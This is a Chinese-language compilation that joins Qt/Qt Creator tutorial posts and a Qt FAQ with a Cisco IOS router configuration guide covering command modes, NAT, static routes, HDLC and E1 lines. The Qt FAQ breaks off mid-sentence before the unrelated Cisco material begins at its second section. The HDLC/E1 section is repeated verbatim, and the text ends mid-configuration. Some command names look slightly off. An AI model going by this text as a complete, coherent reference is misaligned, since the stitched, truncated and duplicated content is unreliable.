声明:本文原创于yafeilinux 的百度博客,http://hi.baidu.com/yafeilinux 转载请注明出处。 接着上一次的教程,这次我们学习在窗体上绘制文字。 1.绘制最简单的文字。 我们更改重绘函数如下: void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); painter.drawText(100,100,"yafeilinux"); } 我们在(100,100)的位置显示了一行文字,效果如下。 2.为了更好的控制字体的位置。我们使用另一个构造函数。在帮助里查看 drawText,如下。 这里我们看到了构造函数的原型和例子。其中的flags 参数可以控制字体在矩形 中的位置。我们更改函数内容如下。 void Dialog::paintEvent(QPaintEvent *) { QPainter painter(this); QRectF ff(100,100,300,200); //设置一个矩形 painter.drawRect(ff); //为了更直观地看到字体的位置,我们绘制出这个矩形 painter.setPen(QColor(Qt::red)); //设置画笔颜色为红色 painter.drawText(ff,Qt::AlignHCenter,"yafeilinux"); //我们这里先让字体水平居中 } 效果如下。 可以看到字符串是在最上面水平居中的。如果想让其在矩形正中间,我们可以使 用Qt::AlignCenter。 这里我们也可以使用两个枚举变量进行按位与操作,例如可以使用 Qt::AlignBottom|Qt::AlignHCenter 实现让文字显示在矩形下面的正中间。效 果如下。 对于较长的字符串,我们也可以利用“\n”进行换行,例如"yafei\nlinux"。效 果如下。 3.如果要使文字更美观,我们就需要使用QFont 类来改变字体。先在帮助中查 看一下这个类。 可以看到它有好几个枚举变量来设置字体。下面的例子我们对主要的几个选项进 行演示。 更改函数如下。 void Dialog::paintEvent(QPaintEvent *) { QFont font("Arial",20,QFont::Bold,true); //设置字体的类型,大小,加粗,斜体 font.setUnderline(true); //设置下划线 font.setOverline(true); //设置上划线 font.setCapitalization(QFont::SmallCaps); //设置大小写 font.setLetterSpacing(QFont::AbsoluteSpacing,5); //设置间距 QPainter painter(this); painter.setFont(font); //添加字体 QRectF ff(100,100,300,200); painter.drawRect(ff); painter.setPen(QColor(Qt::red)); painter.drawText(ff,Qt::AlignCenter,"yafeilinux"); } 效果如下。 这里的所有字体我们可以在设计器中进行查看。如下。 基于Qt 4.6 的Qt Creator 1.3.0 环境变量设置(原创) 如果你以前安装过visual studio 2005 之类的软件,那么装上Qt Creator 1.3.0 后,编译运行其自带的演示程序时就可能出现如下图的,105 个错误,几十个警 告的问题。 我们查看输出窗口,如下图。会发现它居然显示VC98 之类的东西,就是说它并 没有去自己的include 文件夹 中查找文件。我们可以怀疑是系统环境变量的问题了。 点击Qt Creator 界面左侧的projects 图标,查看工程信息。这里我们主要查看 编辑环境Buid Environment,点击其右侧的show Details。 可以看到其中的include 和lib 均指向了virtual studio 文件夹中,我们需要 将其改正。 将他们都改为自己Qt Creator 安装目录下的相关路径,如下图。(要换成你的 安装路径) 改完后会发现新的设置已经显示出来了。 我们查看下面的Run Environment,发现它已经自己改过来了。 回到编辑界面,右击工程文件,在弹出的菜单上选择Clean project,清空以前 的编译信息。 然后运行Run qmake,生成Makefile 文件。 最后,点击run 或者build 都可,这时程序已经能正常编译运行了。 基于Qt 4.6 的Qt Creator 1.3.0 写helloworld 程序注意事项(原创) 注意:下面指的是在windows 下,linux 下的情况可进行相应改变 昨天Qt 4.6 和Qt Creator 1.3.0 正式版发布了,但是如果以前用过旧版本,就 可能出一些问题。 1.用debug 方式 如果你以前用了Qt 4.5 的Qt Creator,并且将QtCored4.dll,QtGuid4.dll, mingwm10.dll 等文件放到了C 盘的system 文件夹下。那么请先将它们删除,不 然编译不会通过。 编译完helloworld 程序后,如果要直接执行exe 文件,需要将安装目录(新版 Qt)下的qt/bin 目录下的QtCored4.dll,QtGuid4.dll,mingwm10.dll,和 libgcc_s_dw2-1.dll(这个是新增的)文件放在exe 文件夹中。或者将它们放到 系统的system 文件夹下。 2.选择release 方式 编译程序后生成exe 文件 1.需要Qt 安装目录下的qt/bin 目录中的QtGui4.dll ,Qt Core4.dll, libgcc_s_dw2-1.dll 以及mingwm10.dll 四个文件的支持,将它们拷贝到exe 文 件目录下。 2.程序中默认只支持png 图片,如果使用了gif,jpg 等格式的文件是显示不出 来的。需要将Qt 安装目录下的qt/plugins/目录中的imageformats 文件夹拷贝 到exe 文件目录下(注意是整个文件夹)。而imageformats 文件夹中只需要保 留你需要的文件,例如你只需要支持gif 文件,就只保留qgif4.dll 即可。 ‘Qt Creator 发布release 软件相关注意事项(原创) 注意:环境是windows 选择release 编译程序后生成exe 文件 1.需要Qt 安装目录下的qt/bin 目录中的QtGui4.dll 和 Qt Core4.dll 以及 mingwm10.dll 三个文件的支持,将它们拷贝到exe 文件目录下。 2.程序中默认只支持png 图片,如果使用了gif,jpg 等格式的文件是显示不出 来的。需要将Qt 安装目录下的qt/plugins/目录中的imageformats 文件夹拷贝 到exe 文件目录下(注意是整个文件夹)。而imageformats 文件夹中只需要保 留你需要的文件,例如你只需要支持gif 文件,就只保留qgif4.dll 即可。 Qt Creator 的 error: collect2: ld returned 1 exit status 问题 利用Qt Creator 1.2.1( Built on Sep 30 2009 at 05:21:42)编译 程序经常会出现error: collect2: ld returned 1 exit status 的错误,但是 自己的程序没有一点问题,怎么回事呢? 如果这时退出软件,再重新进入,打开刚才的工程,重新编译, 就不会出现刚才的错误了。这应该是Qt Creator 软件的问题吧! 后来发现是因为上次执行的程序还在运行,你打开windows 的任 务管理器中的进程可以看见你刚才运行的程序还在执行,我们看不见,是因为它 在后台执行着。出现这个现象,是因为你写的代码的问题,比如在main 函数里 用了w.show();语句,就可能出现界面一闪而过,但它并没有关闭,而是在后台 运行,所以再次运行时就会出错。我们可以在资源管理器中将该进程关闭,或者 像上面那样直接关闭Qt Creator。 示例: #include <QtGui/QApplication> #include "widget.h" #include "logindlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); loginDlg m; if(m.exec()==QDialog::Accepted) { Widget w; w.show(); } return a.exec(); } 执行后就会在后台运行。这时如果修改了代码再次运行程序,就会出现上面的错 误。 在任务管理器中可以看见自己的程序: 将该进程结束,然后在重新运行,就不会出错了。 正确的代码应该这样写: int main(int argc, char *argv[]) { QApplication a(argc, argv); loginDlg m; Widget w; if(m.exec()==QDialog::Accepted) { w.show(); return a.exec(); } else return 0; //关闭整个程序 } 这样新建的对象w 就不是局部变量了,这样运行程序w 表示的窗口不会一闪而过, 会一直显示。程序也不会再出现上面的错误了。 QT 常用问题解答(转) 本文是我前几天一个网友告诉我的,当时看了感觉好,就保存下来。今天再次查 看,感觉有必要把文章分享给各位学习QT 的朋友,因为网上好用的QT 资源真的 好少。 1、如果在窗体关闭前自行判断是否可关闭 答:重新实现这个窗体的closeEvent()函数,加入判断操作 Quote: void MainWindow::closeEvent(QCloseEvent *event) { if (maybeSave()) { writeSettings(); event->accept(); } else { event->ignore(); } } 2、如何用打开和保存文件对话 答:使用QFileDialog Quote: QString fileName = QFileDialog::getOpenFileName(this); if (!fileName.isEmpty()) { loadFile(fileName); } Quote: QString fileName = QFileDialog::getSaveFileName(this); if (fileName.isEmpty()) { return false; } 3、如果创建Actions(可在菜单和工具栏里使用这些Action) 答: Quote: newAct = new QAction(QIcon(":/images/new.png"), tr("&New"), this); newAct->setShortcut(tr("Ctrl+N")); newAct->setStatusTip(tr("Create a new file")); connect(newAct, SIGNAL(triggered()), this, SLOT(newFile())); openAct = new QAction(QIcon(":/images/open.png"), tr("&Open..."), this); openAct->setShortcut(tr("Ctrl+O")); openAct->setStatusTip(tr("Open an existing file")); connect(openAct, SIGNAL(triggered()), this, SLOT(open())); saveAct = new QAction(QIcon(":/images/save.png"), tr("&Save"), this); saveAct->setShortcut(tr("Ctrl+S")); saveAct->setStatusTip(tr("Save the document to disk")); connect(saveAct, SIGNAL(triggered()), this, SLOT(save())); saveAsAct = new QAction(tr("Save &As..."), this); saveAsAct->setStatusTip(tr("Save the document under a new name")); connect(saveAsAct, SIGNAL(triggered()), this, SLOT(saveAs())); exitAct = new QAction(tr("E&xit"), this); exitAct->setShortcut(tr("Ctrl+Q")); exitAct->setStatusTip(tr("Exit the application")); connect(exitAct, SIGNAL(triggered()), this, SLOT(close())); cutAct = new QAction(QIcon(":/images/cut.png"), tr("Cu&t"), this); cutAct->setShortcut(tr("Ctrl+X")); cutAct->setStatusTip(tr("Cut the current selection's contents to the " "clipboard")); connect(cutAct, SIGNAL(triggered()), textEdit, SLOT(cut())); copyAct = new QAction(QIcon(":/images/copy.png"), tr("&Copy"), this); copyAct->setShortcut(tr("Ctrl+C")); copyAct->setStatusTip(tr("Copy the current selection's contents to the " "clipboard")); connect(copyAct, SIGNAL(triggered()), textEdit, SLOT(copy())); pasteAct = new QAction(QIcon(":/images/paste.png"), tr("&Paste"), this); pasteAct->setShortcut(tr("Ctrl+V")); pasteAct->setStatusTip(tr("Paste the clipboard's contents into the current " "selection")); connect(pasteAct, SIGNAL(triggered()), textEdit, SLOT(paste())); aboutAct = new QAction(tr("&About"), this); aboutAct->setStatusTip(tr("Show the application's About box")); connect(aboutAct, SIGNAL(triggered()), this, SLOT(about())); aboutQtAct = new QAction(tr("About &Qt"), this); aboutQtAct->setStatusTip(tr("Show the Qt library's About box")); connect(aboutQtAct, SIGNAL(triggered()), qApp, SLOT(aboutQt())); 4、如果创建主菜单 答:采用上面的QAction 的帮助,创建主菜单 Quote: fileMenu = menuBar()->addMenu(tr("&File")); fileMenu->addAction(newAct); fileMenu->addAction(openAct); fileMenu->addAction(saveAct); fileMenu->addAction(saveAsAct); fileMenu->addSeparator(); fileMenu->addAction(exitAct); editMenu = menuBar()->addMenu(tr("&Edit")); editMenu->addAction(cutAct); editMenu->addAction(copyAct); editMenu->addAction(pasteAct); menuBar()->addSeparator(); helpMenu = menuBar()->addMenu(tr("&Help")); helpMenu->addAction(aboutAct); helpMenu->addAction(aboutQtAct); 5、如果创建工具栏 答:采用上面的QAction 的帮助,创建工具栏 Quote: fileToolBar = addToolBar(tr("File")); fileToolBar->addAction(newAct); fileToolBar->addAction(openAct); fileToolBar->addAction(saveAct); editToolBar = addToolBar(tr("Edit")); editToolBar->addAction(cutAct); editToolBar->addAction(copyAct); editToolBar->addAction(pasteAct); 6、如何使用配置文件保存配置 答:使用QSettings 类 Quote: QSettings settings("Trolltech", "Application Example"); QPoint pos = settings.value("pos", QPoint(200, 200)).toPoint(); QSize size = settings.value("size", QSize(400, 400)).toSize(); Quote: QSettings settings("Trolltech", "Application Example"); settings.setValue("pos", pos()); settings.setValue("size", size()); 7、如何使用警告、信息等对话框 答:使用QMessageBox 类的静态方法 Quote: int ret = QMessageBox::warning(this, tr("Application"), tr("The document has been modified.\n" "Do you want to save your changes?"), QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); if (ret == QMessageBox::Yes) return save(); else if (ret == QMessageBox::Cancel) return false; 8、如何使通用对话框中文化 答:对话框的中文化 比 如说,QColorDialog 的与文字相关的部分,主要在qcolordialog.cpp 文件 中,我们可以从qcolordialog.cpp 用 lupdate 生成一个ts 文件,然后用自定 义这个ts 文件的翻译,再用lrelease 生成一个.qm 文件,当然了,主程序就要 改变要支持多国语言了, 使用这个.qm 文件就可以了。 另外,还有一个更快的方法,在源代码解开后有一个目录translations,下面 有一些.ts, .qm 文件,我们拷贝一个: Quote: cp src/translations/qt_untranslated.ts ./qt_zh_CN.ts 然 后,我们就用Linguist 打开这个qt_zh_CN.ts,进行翻译了,翻译完成后, 保存后,再用lrelease 命令生成qt_zh_CN.qm, 这样,我们把它加入到我们的 qt project 中,那些系统的对话框,菜单等等其它的默认是英文的东西就能显 示成中文了。 9、在Windows 下Qt 里为什么没有终端输出? 答:把下面的配置项加入到.pro 文件中 Quote: win32:CONFIG += console 10、Qt 4 for X11 OpenSource 版如何静态链接? 答:编译安装的时候加上-static 选项 Quote: ./configure -static //一定要加static 选项 gmake gmake install 然后,在Makefile 文件中加 static 选项或者在.pro 文件中加上QMAKE_LFLAGS += -static,就可以连接静态库了。 11、想在源代码中直接使用中文,而不使用tr()函数进行转换,怎么办? 答:在main 函数中加入下面三条语句,但并不提倡 Quote: QTextCodec::setCodecForLocale(QTextCodec::codecForName("UTF-8")); QTextCodec::setCodecForCStrings(QTextCodec::codecForName("UTF-8")); QTextCodec::setCodecForTr(QTextCodec::codecForName("UTF-8")); 或者 Quote: QTextCodec::setCodecForLocale(QTextCodec::codecForName("GBK")); QTextCodec::setCodecForCStrings(QTextCodec::codecForName("GBK")); QTextCodec::setCodecForTr(QTextCodec::codecForName("GBK")); 使用GBK 还是使用UTF-8,依源文件中汉字使用的内码而定 这样,就可在源文件中直接使用中文,比如: Quote: QMessageBox::information(NULL, "信息", "关于本软件的演示信息", QMessageBox::Ok, QMessageBox::NoButtons); 12、为什么将开发的使用数据库的程序发布到其它机器就连接不上数据库? 答:这是由于程序找不到数据库插件而致,可照如下解决方法: 在main 函数中加入下面语句: Quote: QApplication::addLibraryPath(strPluginsPath"); strPluginsPath 是插件所在目录,比如此目录为/myapplication/plugins 则将需要的sql 驱动,比如qsqlmysql.dll, qsqlodbc.dll 或对应的.so 文件放 到 /myapplication/plugins/sqldrivers/ 目录下面就行了 这是一种解决方法,还有一种通用的解决方法,即在可执行文件目录下写 qt.conf 文件,把系统相关的一些目录配置写到qt.conf 文件里,详细情况情参 考Qt Document Reference 里的qt.conf 部分 13、如何创建QT 使用的DLL(.so)以及如何使用此DLL(.so) 答:创建DLL 时其工程使用lib 模板 Quote: TEMPLATE=lib 而源文件则和使用普通的源文件一样,注意把头文件和源文件分开,因为在其它 程序使用此DLL 时需要此头文件 在使用此DLL 时,则在此工程源文件中引入DLL 头文件,并在.pro 文件中加入 下面配置项: Quote: LIBS += -Lyourdlllibpath -lyourdlllibname Windows 下和Linux 下同样(Windows 下生成的DLL 文件名为yourdlllibname.dll 而在Linux 下生成的为libyourdlllibname.so。注意,关于DLL 程序的写法, 遵从各平台级编译器所定的规则。 14、如何启动一个外部程序 答:1、使用QProcess::startDetached()方法,启动外部程序后立即返回; 2、使用QProcess::execute(),不过使用此方法时程序会最阻塞直到此方法执 行的程序结束后返回
CISCO 技术大集合 {适合你们的技术} 二、命令状态 1. router> 路由器处于用户命令状态,这时用户可以看路由器的连接状态,访问其它网络和主机,但不能看到和更改路由器的设置内容。 2. router# 在router>提示符下键入enable,路由器进入特权命令状态router#,这时不但可以执行所有的用户命令,还可以看到和更改路由器的设置内容。 3. router(config)# 在router#提示符下键入configure terminal,出现提示符router(config)#,此时路由器处于全局设置状态,这时可以设置路由器的全局参数。 4. router(config-if)#; router(config-line)#; router(config-router)#;… 路由器处于局部设置状态,这时可以设置路由器某个局部的参数。 5. > 路由器处于RXBOOT状态,在开机后60秒内按ctrl-break可进入此状态,这时路由器不能完成正常的功能,只能进行软件升级和手工引导。 6. 设置对话状态 这是一台新路由器开机时自动进入的状态,在特权命令状态使用SETUP命令也可进入此状态,这时可通过对话方式对路由器进行设置。   返回目录 三、设置对话过程 1. 显示提示信息 2. 全局参数的设置 3. 接口参数的设置 4. 显示结果 利用设置对话过程可以避免手工输入命令的烦琐,但它还不能完全代替手工设置,一些特殊的设置还必须通过手工输入的方式完成。 进入设置对话过程后,路由器首先会显示一些提示信息: --- System Configuration Dialog --- At any point you may enter a question mark '?' for help. Use ctrl-c to abort configuration dialog at any prompt. Default settings are in square brackets '[]'. 这是告诉你在设置对话过程中的任何地方都可以键入“?”得到系统的帮助,按ctrl-c可以退出设置过程,缺省设置将显示在‘[]’中。然后路由器会问是否进入设置对话: Would you like to enter the initial configuration dialog? [yes]: 如果按y或回车,路由器就会进入设置对话过程。首先你可以看到各端口当前的状况: First, would you like to see the current interface summary? [yes]: Any interface listed with OK? value "NO" does not have a valid configuration Interface IP-Address OK? Method Status Protocol Ethernet0 unassigned NO unset up up Serial0 unassigned NO unset up up ……… ……… … …… … … 然后,路由器就开始全局参数的设置: Configuring global parameters: 1.设置路由器名: Enter host name [Router]: 2.设置进入特权状态的密文(secret),此密文在设置以后不会以明文方式显示: The enable secret is a one-way cryptographic secret used instead of the enable password when it exists. Enter enable secret: cisco 3.设置进入特权状态的密码(password),此密码只在没有密文时起作用,并且在设置以后会以明文方式显示: The enable password is used when there is no enable secret and when using older software and some boot images. Enter enable password: pass 4.设置虚拟终端访问时的密码: Enter virtual terminal password: cisco 5.询问是否要设置路由器支持的各种网络协议: Configure SNMP Network Management? [yes]: Configure DECnet? [no]: Configure AppleTalk? [no]: Configure IPX? [no]: Configure IP? [yes]: Configure IGRP routing? [yes]: Configure RIP routing? [no]: ……… 6.如果配置的是拨号访问服务器,系统还会设置异步口的参数: Configure Async lines? [yes]: 1) 设置线路的最高速度: Async line speed [9600]: 2) 是否使用硬件流控: Configure for HW flow control? [yes]: 3) 是否设置modem: Configure for modems? [yes/no]: yes 4) 是否使用默认的modem命令: Configure for default chat script? [yes]: 5) 是否设置异步口的PPP参数: Configure for Dial-in IP SLIP/PPP access? [no]: yes 6) 是否使用动态IP地址: Configure for Dynamic IP addresses? [yes]: 7) 是否使用缺省IP地址: Configure Default IP addresses? [no]: yes 8) 是否使用TCP头压缩: Configure for TCP Header Compression? [yes]: 9) 是否在异步口上使用路由表更新: Configure for routing updates on async links? [no]: y 10) 是否设置异步口上的其它协议。 接下来,系统会对每个接口进行参数的设置。 1.Configuring interface Ethernet0: 1) 是否使用此接口: Is this interface in use? [yes]: 2) 是否设置此接口的IP参数: Configure IP on this interface? [yes]: 3) 设置接口的IP地址: IP address for this interface: 192.168.162.2 4) 设置接口的IP子网掩码: Number of bits in subnet field [0]: Class C network is 192.168.162.0, 0 subnet bits; mask is /24 在设置完所有接口的参数后,系统会把整个设置对话过程的结果显示出来: The following configuration command script was created: hostname Router enable secret 5 $1$W5Oh$p6J7tIgRMBOIKVXVG53Uh1 enable password pass ………… 请注意在enable secret后面显示的是乱码,而enable password后面显示的是设置的内容。 显示结束后,系统会问是否使用这个设置: Use this configuration? [yes/no]: yes 如果回答yes,系统就会把设置的结果存入路由器的NVRAM中,然后结束设置对话过程,使路由器开始正常的工作。 返回目录   四、常用命令 1. 帮助 在IOS操作中,无论任何状态和位置,都可以键入“?”得到系统的帮助。 2. 改变命令状态 任务 命令 进入特权命令状态 enable 退出特权命令状态 disable 进入设置对话状态 setup 进入全局设置状态 config terminal 退出全局设置状态 end 进入端口设置状态 interface type slot/number 进入子端口设置状态 interface type number.subinterface [point-to-point | multipoint] 进入线路设置状态 line type slot/number 进入路由设置状态 router protocol 退出局部设置状态 exit 3. 显示命令 任务 命令 查看版本及引导信息 show version 查看运行设置 show running-config 查看开机设置 show startup-config 显示端口信息 show interface type slot/number 显示路由信息 show ip router 4. 拷贝命令 用于IOS及CONFIG的备份和升级 5. 网络命令 任务 命令 登录远程主机 telnet hostname|IP address 网络侦测 ping hostname|IP address 路由跟踪 trace hostname|IP address   6. 基本设置命令 任务 命令 全局设置 config terminal 设置访问用户及密码 username username password password 设置特权密码 enable secret password 设置路由器名 hostname name 设置静态路由 ip route destination subnet-mask next-hop 启动IP路由 ip routing 启动IPX路由 ipx routing 端口设置 interface type slot/number 设置IP地址 ip address address subnet-mask 设置IPX网络 ipx network network 激活端口 no shutdown 物理线路设置 line type number 启动登录进程 login [local|tacacs server] 设置登录密码 password password   五、配置IP寻址   1. IP地址分类 IP地址分为网络地址和主机地址二个部分,A类地址前8位为网络地址,后24位为主机地址,B类地址16位为网络地址,后16位为主机地址,C类地址前24位为网络地址,后8位为主机地址,网络地址范围如下表所示: 种类 网络地址范围 A  1.0.0.0 到126.0.0.0有效 0.0.0.0 和127.0.0.0保留 B 128.1.0.0到191.254.0.0有效 128.0.0.0和191.255.0.0保留 C 192.0.1.0 到223.255.254.0有效 192.0.0.0和223.255.255.0保留 D 224.0.0.0到239.255.255.255用于多点广播 E 240.0.0.0到255.255.255.254保留 255.255.255.255用于广播 2. 分配接口IP地址 任务 命令 接口设置 interface type slot/number 为接口设置IP地址 ip address ip-address mask 掩玛(mask)用于识别IP地址中的网络地址位数,IP地址(ip-address)和掩码(mask)相与即得到网络地址。 3. 使用可变长的子网掩码 通过使用可变长的子网掩码可以让位于不同接口的同一网络编号的网络使用不同的掩码,这样可以节省IP地址,充分利用有效的IP地址空间。 如下图所示: Router1和Router2的E0端口均使用了C类地址192.1.0.0作为网络地址,Router1的E0的网络地址为192.1.0.128,掩码为255.255.255.192, Router2的E0的网络地址为192.1.0.64,掩码为255.255.255.192,这样就将一个C类网络地址分配给了二个网,既划分了二个子网,起到了节约地址的作用。 4. 使用网络地址翻译(NAT) NAT(Network Address Translation)起到将内部私有地址翻译成外部合法的全局地址的功能,它使得不具有合法IP地址的用户可以通过NAT访问到外部Internet. 当建立内部网的时候,建议使用以下地址组用于主机,这些地址是由Network Working Group(RFC 1918)保留用于私有网络地址分配的. l Class A:10.1.1.1 to 10.254.254.254 l Class B:172.16.1.1 to 172.31.254.254 l Class C:192.168.1.1 to 192.168.254.254 命令描述如下: 任务 命令 定义一个标准访问列表 access-list access-list-number permit source [source-wildcard] 定义一个全局地址池 ip nat pool name start-ip end-ip {netmask netmask | prefix-length prefix-length} [type rotary] 建立动态地址翻译 ip nat inside source {list {access-list-number | name} pool name [overload] | static local-ip global-ip} 指定内部和外部端口 ip nat {inside | outside} 如下图所示, 路由器的Ethernet 0端口为inside端口,即此端口连接内部网络,并且此端口所连接的网络应该被翻译,Serial 0端口为outside端口,其拥有合法IP地址(由NIC或服务提供商所分配的合法的IP地址),来自网络10.1.1.0/24的主机将从IP地址池c2501中选择一个地址作为自己的合法地址,经由Serial 0口访问Internet。命令ip nat inside source list 2 pool c2501 overload中的参数overload,将允许多个内部地址使用相同的全局地址(一个合法IP地址,它是由NIC或服务提供商所分配的地址)。命令ip nat pool c2501 202.96.38.1 202.96.38.62 netmask 255.255.255.192定义了全局地址的范围。 设置如下: ip nat pool c2501 202.96.38.1 202.96.38.62 netmask 255.255.255.192 interface Ethernet 0 ip address 10.1.1.1 255.255.255.0 ip nat inside ! interface Serial 0 ip address 202.200.10.5 255.255.255.252 ip nat outside ! ip route 0.0.0.0 0.0.0.0 Serial 0 access-list 2 permit 10.0.0.0 0.0.0.255 ! Dynamic NAT ! ip nat inside source list 2 pool c2501 overload line console 0 exec-timeout 0 0 ! line vty 0 4 end   六、配置静态路由 通过配置静态路由,用户可以人为地指定对某一网络访问时所要经过的路径,在网络结构比较简单,且一般到达某一网络所经过的路径唯一的情况下采用静态路由。 任务 命令 建立静态路由 ip route prefix mask {address | interface} [distance] [tag tag] [permanent] Prefix :所要到达的目的网络 mask :子网掩码 address :下一个跳的IP地址,即相邻路由器的端口地址。 interface :本地网络接口 distance :管理距离(可选) tag tag :tag值(可选) permanent :指定此路由即使该端口关掉也不被移掉。 以下在Router1上设置了访问192.1.0.64/26这个网下一跳地址为192.200.10.6,即当有目的地址属于192.1.0.64/26的网络范围的数据报,应将其路由到地址为192.200.10.6的相邻路由器。在Router3上设置了访问192.1.0.128/26及192.200.10.4/30这二个网下一跳地址为192.1.0.65。由于在Router1上端口Serial 0地址为192.200.10.5,192.200.10.4/30这个网属于直连的网,已经存在访问192.200.10.4/30的路径,所以不需要在Router1上添加静态路由。 Router1: ip route 192.1.0.64 255.255.255.192 192.200.10.6 Router3: ip route 192.1.0.128 255.255.255.192 192.1.0.65 ip route 192.200.10.4 255.255.255.252 192.1.0.65 同时由于路由器Router3除了与路由器Router2相连外,不再与其他路由器相连,所以也可以为它赋予一条默认路由以代替以上的二条静态路由, ip route 0.0.0.0 0.0.0.0 192.1.0.65 即只要没有在路由表里找到去特定目的地址的路径,则数据均被路由到地址为192.1.0.65的相邻路由器。 返回目录   一、HDLC   HDLC是CISCO路由器使用的缺省协议,一台新路由器在未指定封装协议时默认使用HDLC封装。 1. 有关命令 端口设置 任务 命令 设置HDLC封装 encapsulation hdlc 设置DCE端线路速度 clockrate speed 复位一个硬件接口 clear interface serial unit 显示接口状态 show interfaces serial [unit] 1 注:1.以下给出一个显示Cisco同步串口状态的例子. Router#show interface serial 0 Serial 0 is up, line protocol is up Hardware is MCI Serial Internet address is 150.136.190.203, subnet mask is 255.255.255.0 MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec, rely 255/255, load 1/255 Encapsulation HDLC, loopback not set, keepalive set (10 sec) Last input 0:00:07, output 0:00:00, output hang never Output queue 0/40, 0 drops; input queue 0/75, 0 drops Five minute input rate 0 bits/sec, 0 packets/sec Five minute output rate 0 bits/sec, 0 packets/sec 16263 packets input, 1347238 bytes, 0 no buffer Received 13983 broadcasts, 0 runts, 0 giants 2 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 2 abort 22146 packets output, 2383680 bytes, 0 underruns 0 output errors, 0 collisions, 2 interface resets, 0 restarts 1 carrier transitions 2. 举例     设置如下: Router1: interface Serial0 ip address 192.200.10.1 255.255.255.0 clockrate 1000000 Router2: interface Serial0 ip address 192.200.10.2 255.255.255.0 ! 3. 举例使用E1线路实现多个64K专线连接. 相关命令: 任务 命令 进入controller配置模式 controller {t1 | e1} number 选择帧类型 framing {crc4 | no-crc4} 选择line-code类型 linecode {ami | b8zs | hdb3} 建立逻辑通道组与时隙的映射 channel-group number timeslots range1 显示controllers接口状态 show controllers e1 [slot/port]2 注: 1. 当链路为T1时,channel-group编号为0-23, Timeslot范围1-24; 当链路为E1时, channel-group编号为0-30, Timeslot范围1-31. 2.使用show controllers e1观察controller状态,以下为帧类型为crc4时controllers正常的状态. Router# show controllers e1 e1 0/0 is up. Applique type is Channelized E1 - unbalanced Framing is CRC4, Line Code is HDB3 No alarms detected. Data in current interval (725 seconds elapsed): 0 Line Code Violations, 0 Path Code Violations 0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins 0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs Total Data (last 24 hours) 0 Line Code Violations, 0 Path Code Violations, 0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins, 0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs 以下例子为E1连接3条64K专线, 帧类型为NO-CRC4,非平衡链路,路由器具体设置如下: shanxi#wri t Building configuration... Current configuration: ! version 11.2 no service udp-small-servers no service tcp-small-servers ! hostname shanxi ! enable secret 5 $1$XN08$Ttr8nfLoP9.2RgZhcBzkk/ enable password shanxi ! ! ip subnet-zero ! controller E1 0 framing NO-CRC4 channel-group 0 timeslots 1 channel-group 1 timeslots 2 channel-group 2 timeslots 3 ! interface Ethernet0 ip address 133.118.40.1 255.255.0.0 media-type 10BaseT ! interface Ethernet1 no ip address shutdown ! interface Serial0:0 ip address 202.119.96.1 255.255.255.252 no ip mroute-cache ! interface Serial0:1 ip address 202.119.96.5 255.255.255.252 no ip mroute-cache ! interface Serial0:2 ip address 202.119.96.9 255.255.255.252 no ip mroute-cache ! no ip classless ip route 133.210.40.0 255.255.255.0 Serial0:0 ip route 133.210.41.0 255.255.255.0 Serial0:1 ip route 133.210.42.0 255.255.255.0 Serial0:2 ! line con 0 line aux 0 line vty 0 4 password shanxi login ! end 广域网设置:   一、HDLC   HDLC是CISCO路由器使用的缺省协议,一台新路由器在未指定封装协议时默认使用HDLC封装。 1. 有关命令 端口设置 任务 命令 设置HDLC封装 encapsulation hdlc 设置DCE端线路速度 clockrate speed 复位一个硬件接口 clear interface serial unit 显示接口状态 show interfaces serial [unit] 1 注:1.以下给出一个显示Cisco同步串口状态的例子. Router#show interface serial 0 Serial 0 is up, line protocol is up Hardware is MCI Serial Internet address is 150.136.190.203, subnet mask is 255.255.255.0 MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec, rely 255/255, load 1/255 Encapsulation HDLC, loopback not set, keepalive set (10 sec) Last input 0:00:07, output 0:00:00, output hang never Output queue 0/40, 0 drops; input queue 0/75, 0 drops Five minute input rate 0 bits/sec, 0 packets/sec Five minute output rate 0 bits/sec, 0 packets/sec 16263 packets input, 1347238 bytes, 0 no buffer Received 13983 broadcasts, 0 runts, 0 giants 2 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 2 abort 22146 packets output, 2383680 bytes, 0 underruns 0 output errors, 0 collisions, 2 interface resets, 0 restarts 1 carrier transitions 2. 举例     设置如下: Router1: interface Serial0 ip address 192.200.10.1 255.255.255.0 clockrate 1000000 Router2: interface Serial0 ip address 192.200.10.2 255.255.255.0 ! 3. 举例使用E1线路实现多个64K专线连接. 相关命令: 任务 命令 进入controller配置模式 controller {t1 | e1} number 选择帧类型 framing {crc4 | no-crc4} 选择line-code类型 linecode {ami | b8zs | hdb3} 建立逻辑通道组与时隙的映射 channel-group number timeslots range1 显示controllers接口状态 show controllers e1 [slot/port]2 注: 1. 当链路为T1时,channel-group编号为0-23, Timeslot范围1-24; 当链路为E1时, channel-group编号为0-30, Timeslot范围1-31. 2.使用show controllers e1观察controller状态,以下为帧类型为crc4时controllers正常的状态. Router# show controllers e1 e1 0/0 is up. Applique type is Channelized E1 - unbalanced Framing is CRC4, Line Code is HDB3 No alarms detected. Data in current interval (725 seconds elapsed): 0 Line Code Violations, 0 Path Code Violations 0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins 0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs Total Data (last 24 hours) 0 Line Code Violations, 0 Path Code Violations, 0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins, 0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs 以下例子为E1连接3条64K专线, 帧类型为NO-CRC4,非平衡链路,路由器具体设置如下: shanxi#wri t Building configuration... Current configuration: ! version 11.2 no service udp-small-servers no service tcp-small-servers ! hostname shanxi ! enable secret 5 $1$XN08$Ttr8nfLoP9.2RgZhcBzkk/ enable password shanxi ! ! ip subnet-zero ! controller E1 0 